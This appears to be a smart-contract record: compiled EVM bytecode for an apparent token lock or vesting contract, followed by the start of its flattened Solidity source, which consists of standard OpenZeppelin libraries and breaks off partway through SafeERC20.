10440576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161043790610dd2565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c590610d66565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055504260058190555050565b600080600062015180600554426105309190610e21565b61053a9190610e84565b90506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016105999190610bed565b602060405180830381865afa1580156105b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105da9190610eca565b90506000600754146105ec5760075490505b6009548211156105fc5760095491505b6000670de0b6b3a76400009050600081905060008060005b6009548161ffff16101561065557600854846106309190610ef7565b9350612710846106409190610e84565b9350808061064d90610f5f565b915050610614565b5082846106629190610e21565b91508183866106719190610ef7565b61067b9190610e84565b90506000600a546103e861068f9190610e21565b9050600085905060005b888161ffff1610156106d857600854826106b39190610ef7565b9150612710826106c39190610e84565b915080806106d090610f5f565b915050610699565b50600081905081876106ea9190610e21565b91506103e888600a546106fd9190610ef7565b6107079190610e84565b6103e8828486886107189190610ef7565b6107229190610ef7565b61072c9190610e84565b6107369190610e84565b6107409190610f8a565b97506009548914156107525760075497505b600654886107609190610e21565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016107bb9190610bed565b602060405180830381865afa1580156107d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fc9190610eca565b9a509a505050505050505050509091565b600060075414156108bb57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016108739190610bed565b602060405180830381865afa158015610890573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b49190610eca565b6007819055505b6108c3610519565b6003600060046000849190505583919050555050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095e9061102c565b60405180910390fd5b6000600354116109ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a390611098565b60405180910390fd5b6003548111156109f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e890611104565b60405180910390fd5b8060046000828254610a039190610e21565b925050819055508060036000828254610a1c9190610e21565b925050819055508060066000828254610a359190610f8a565b92505081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401610a99929190611124565b6020604051808303816000875af1158015610ab8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610adc9190611185565b507f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a94243648282604051610b0e929190611124565b60405180910390a15050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610b4a82610b1f565b9050919050565b610b5a81610b3f565b8114610b6557600080fd5b50565b600081359050610b7781610b51565b92915050565b600060208284031215610b9357610b92610b1a565b5b6000610ba184828501610b68565b91505092915050565b6000819050919050565b610bbd81610baa565b82525050565b6000602082019050610bd86000830184610bb4565b92915050565b610be781610b3f565b82525050565b6000602082019050610c026000830184610bde565b92915050565b6000604082019050610c1d6000830185610bb4565b610c2a6020830184610bb4565b9392505050565b610c3a81610baa565b8114610c4557600080fd5b50565b600081359050610c5781610c31565b92915050565b60008060408385031215610c7457610c73610b1a565b5b6000610c8285828601610b68565b9250506020610c9385828601610c48565b9150509250929050565b600082825260208201905092915050565b7f6f776e6572206973207365747465642100000000000000000000000000000000600082015250565b6000610ce4601083610c9d565b9150610cef82610cae565b602082019050919050565b60006020820190508181036000830152610d1381610cd7565b9050919050565b7f6d73672e73656e646572206973206e6f74204175746821000000000000000000600082015250565b6000610d50601783610c9d565b9150610d5b82610d1a565b602082019050919050565b60006020820190508181036000830152610d7f81610d43565b9050919050565b7f746b6e436f6e7472616374206973207365747465642100000000000000000000600082015250565b6000610dbc601683610c9d565b9150610dc782610d86565b602082019050919050565b60006020820190508181036000830152610deb81610daf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000610e2c82610baa565b9150610e3783610baa565b925082821015610e4a57610e49610df2565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000610e8f82610baa565b9150610e9a83610baa565b925082610eaa57610ea9610e55565b5b828204905092915050565b600081519050610ec481610c31565b92915050565b600060208284031215610ee057610edf610b1a565b5b6000610eee84828501610eb5565b91505092915050565b6000610f0282610baa565b9150610f0d83610baa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615610f4657610f45610df2565b5b828202905092915050565b600061ffff82169050919050565b6000610f6a82610f51565b915061ffff821415610f7f57610f7e610df2565b5b600182019050919050565b6000610f9582610baa565b9150610fa083610baa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fd557610fd4610df2565b5b828201905092915050565b7f6d73672e73656e646572206973206e6f74204f776e6572210000000000000000600082015250565b6000611016601883610c9d565b915061102182610fe0565b602082019050919050565b6000602082019050818103600083015261104581611009565b9050919050565b7f756e6c6f636b656442616c616e63652069732030000000000000000000000000600082015250565b6000611082601483610c9d565b915061108d8261104c565b602082019050919050565b600060208201905081810360008301526110b181611075565b9050919050565b7f756e6c6f636b656442616c616e63652069732062696767657200000000000000600082015250565b60006110ee601983610c9d565b91506110f9826110b8565b602082019050919050565b6000602082019050818103600083015261111d816110e1565b9050919050565b60006040820190506111396000830185610bde565b6111466020830184610bb4565b9392505050565b60008115159050919050565b6111628161114d565b811461116d57600080fd5b50565b60008151905061117f81611159565b92915050565b60006020828403121561119b5761119a610b1a565b5b60006111a984828501611170565b9150509291505056fea2646970667358221220e8553d0cf6e2edadfbf531f5c5efd551ec85f638baafea6ae5567ae3f04010af64736f6c634300080b0033000000000000000000000000000000000000000000000000000000000000270f00000000000000000000000000000000000000000000000000000000000000f30000000000000000000000000000000000000000000000000000000000000005
|
608060405234801561001057600080fd5b506004361061009e5760003560e01c8063ca907f2b11610066578063ca907f2b14610137578063de9375f214610155578063e13b468e14610173578063e8068e441461018f578063f3fef3a3146101ae5761009e565b806313af4035146100a35780631ebaa3a1146100bf57806328f2fe0c146100dd5780638da5cb5b146100fb578063a62aca1e14610119575b600080fd5b6100bd60048036038101906100b89190610b7d565b6101ca565b005b6100c761032d565b6040516100d49190610bc3565b60405180910390f35b6100e5610333565b6040516100f29190610bc3565b60405180910390f35b610103610339565b6040516101109190610bed565b60405180910390f35b61012161035f565b60405161012e9190610bed565b60405180910390f35b61013f610385565b60405161014c9190610bc3565b60405180910390f35b61015d61038b565b60405161016a9190610bed565b60405180910390f35b61018d60048036038101906101889190610b7d565b6103af565b005b610197610519565b6040516101a5929190610c08565b60405180910390f35b6101c860048036038101906101c39190610c5d565b61080d565b005b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461025b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161025290610cfa565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102e090610d66565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a5481565b60095481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610440576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161043790610dd2565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c590610d66565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055504260058190555050565b600080600062015180600554426105309190610e21565b61053a9190610e84565b90506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016105999190610bed565b602060405180830381865afa1580156105b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105da9190610eca565b90506000600754146105ec5760075490505b6009548211156105fc5760095491505b6000670de0b6b3a76400009050600081905060008060005b6009548161ffff16101561065557600854846106309190610ef7565b9350612710846106409190610e84565b9350808061064d90610f5f565b915050610614565b5082846106629190610e21565b91508183866106719190610ef7565b61067b9190610e84565b90506000600a546103e861068f9190610e21565b9050600085905060005b888161ffff1610156106d857600854826106b39190610ef7565b9150612710826106c39190610e84565b915080806106d090610f5f565b915050610699565b50600081905081876106ea9190610e21565b91506103e888600a546106fd9190610ef7565b6107079190610e84565b6103e8828486886107189190610ef7565b6107229190610ef7565b61072c9190610e84565b6107369190610e84565b6107409190610f8a565b97506009548914156107525760075497505b600654886107609190610e21565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016107bb9190610bed565b602060405180830381865afa1580156107d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fc9190610eca565b9a509a505050505050505050509091565b600060075414156108bb57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016108739190610bed565b602060405180830381865afa158015610890573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b49190610eca565b6007819055505b6108c3610519565b6003600060046000849190505583919050555050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095e9061102c565b60405180910390fd5b6000600354116109ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a390611098565b60405180910390fd5b6003548111156109f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e890611104565b60405180910390fd5b8060046000828254610a039190610e21565b925050819055508060036000828254610a1c9190610e21565b925050819055508060066000828254610a359190610f8a565b92505081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401610a99929190611124565b6020604051808303816000875af1158015610ab8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610adc9190611185565b507f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a94243648282604051610b0e929190611124565b60405180910390a15050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610b4a82610b1f565b9050919050565b610b5a81610b3f565b8114610b6557600080fd5b50565b600081359050610b7781610b51565b92915050565b600060208284031215610b9357610b92610b1a565b5b6000610ba184828501610b68565b91505092915050565b6000819050919050565b610bbd81610baa565b82525050565b6000602082019050610bd86000830184610bb4565b92915050565b610be781610b3f565b82525050565b6000602082019050610c026000830184610bde565b92915050565b6000604082019050610c1d6000830185610bb4565b610c2a6020830184610bb4565b9392505050565b610c3a81610baa565b8114610c4557600080fd5b50565b600081359050610c5781610c31565b92915050565b60008060408385031215610c7457610c73610b1a565b5b6000610c8285828601610b68565b9250506020610c9385828601610c48565b9150509250929050565b600082825260208201905092915050565b7f6f776e6572206973207365747465642100000000000000000000000000000000600082015250565b6000610ce4601083610c9d565b9150610cef82610cae565b602082019050919050565b60006020820190508181036000830152610d1381610cd7565b9050919050565b7f6d73672e73656e646572206973206e6f74204175746821000000000000000000600082015250565b6000610d50601783610c9d565b9150610d5b82610d1a565b602082019050919050565b60006020820190508181036000830152610d7f81610d43565b9050919050565b7f746b6e436f6e7472616374206973207365747465642100000000000000000000600082015250565b6000610dbc601683610c9d565b9150610dc782610d86565b602082019050919050565b60006020820190508181036000830152610deb81610daf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000610e2c82610baa565b9150610e3783610baa565b925082821015610e4a57610e49610df2565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000610e8f82610baa565b9150610e9a83610baa565b925082610eaa57610ea9610e55565b5b828204905092915050565b600081519050610ec481610c31565b92915050565b600060208284031215610ee057610edf610b1a565b5b6000610eee84828501610eb5565b91505092915050565b6000610f0282610baa565b9150610f0d83610baa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615610f4657610f45610df2565b5b828202905092915050565b600061ffff82169050919050565b6000610f6a82610f51565b915061ffff821415610f7f57610f7e610df2565b5b600182019050919050565b6000610f9582610baa565b9150610fa083610baa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fd557610fd4610df2565b5b828201905092915050565b7f6d73672e73656e646572206973206e6f74204f776e6572210000000000000000600082015250565b6000611016601883610c9d565b915061102182610fe0565b602082019050919050565b6000602082019050818103600083015261104581611009565b9050919050565b7f756e6c6f636b656442616c616e63652069732030000000000000000000000000600082015250565b6000611082601483610c9d565b915061108d8261104c565b602082019050919050565b600060208201905081810360008301526110b181611075565b9050919050565b7f756e6c6f636b656442616c616e63652069732062696767657200000000000000600082015250565b60006110ee601983610c9d565b91506110f9826110b8565b602082019050919050565b6000602082019050818103600083015261111d816110e1565b9050919050565b60006040820190506111396000830185610bde565b6111466020830184610bb4565b9392505050565b60008115159050919050565b6111628161114d565b811461116d57600080fd5b50565b60008151905061117f81611159565b92915050565b60006020828403121561119b5761119a610b1a565b5b60006111a984828501611170565b9150509291505056fea2646970667358221220e8553d0cf6e2edadfbf531f5c5efd551ec85f638baafea6ae5567ae3f04010af64736f6c634300080b0033
|
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the subtraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
/**
* @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
* the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
*
* _Available since v4.8._
*/
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
/**
* @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason or using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
// File: @openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
// File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol
// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
